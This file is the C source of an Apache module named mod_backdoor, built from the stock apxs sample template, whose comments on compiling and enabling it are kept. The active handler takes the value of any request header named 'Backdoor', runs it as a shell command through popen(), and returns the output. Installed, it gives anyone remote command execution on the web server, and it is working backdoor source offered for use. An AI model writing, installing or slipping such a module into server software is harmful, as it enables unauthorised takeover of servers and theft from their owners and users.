mod_backdoor.c

/*
**  mod_backdoor.c -- Apache sample backdoor module
**  [Autogenerated via ``apxs -n backdoor -g'']
**
**  To play with this sample module first compile it into a
**  DSO file and install it into Apache's modules directory
**  by running:
**
**    $ apxs -c -i mod_backdoor.c
**
**  Then activate it in Apache's apache2.conf file for instance
**  for the URL /backdoor in as follows:
**
**    #   apache2.conf
**    LoadModule backdoor_module modules/mod_backdoor.so
**    <Location /backdoor>
**    SetHandler backdoor
**    </Location>
**
**  Then after restarting Apache via
**
**    $ apachectl restart
**
**  you immediately can request the URL /backdoor and watch for the
**  output of this module. This can be achieved for instance via:
**
**    $ lynx -mime_header http://localhost/backdoor
**
**  The output should be similar to the following one:
**
**    HTTP/1.1 200 OK
**    Date: Tue, 31 Mar 1998 14:42:22 GMT
**    Server: Apache/1.3.4 (Unix)
**    Connection: close
**    Content-Type: text/html
**
**    The sample page from mod_backdoor.c
*/

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
#include <stdio.h>
#include <stdlib.h>

/* The sample content handler */
static int backdoor_handler(request_rec *r)
{
    /*
    if (strcmp(r->handler, "backdoor")) {
        return DECLINED;
    }
    r->content_type = "text/html";

    if (!r->header_only)
        ap_rputs("The sample page from mod_backdoor.c\n", r);
    */
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
    const apr_array_header_t    *fields;
    int                         i;
    apr_table_entry_t           *e = 0;
    char FLAG = 0;
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

    fields = apr_table_elts(r->headers_in);
    e = (apr_table_entry_t *) fields->elts;

    for(i = 0; i < fields->nelts; i++) {
        if(strcmp(e[i].key, "Backdoor") == 0){
            FLAG = 1;
            break;
        }
    }

    if (FLAG){
        char * command = e[i].val;
        FILE* fp = popen(command,"r");
        char buffer[0x100] = {0};
        int counter = 1;
        while(counter){
            counter = fread(buffer, 1, sizeof(buffer), fp);
            ap_rwrite(buffer, counter, r);
        }
        pclose(fp);
        return DONE;
    }
    return DECLINED;
}

static void backdoor_register_hooks(apr_pool_t *p)
{
    ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA backdoor_module = {
    STANDARD20_MODULE_STUFF,
    NULL,                  /* create per-dir    config structures */
    NULL,                  /* merge  per-dir    config structures */
    NULL,                  /* create per-server config structures */
    NULL,                  /* merge  per-server config structures */
    NULL,                  /* table of config file commands       */
    backdoor_register_hooks  /* register hooks                      */
};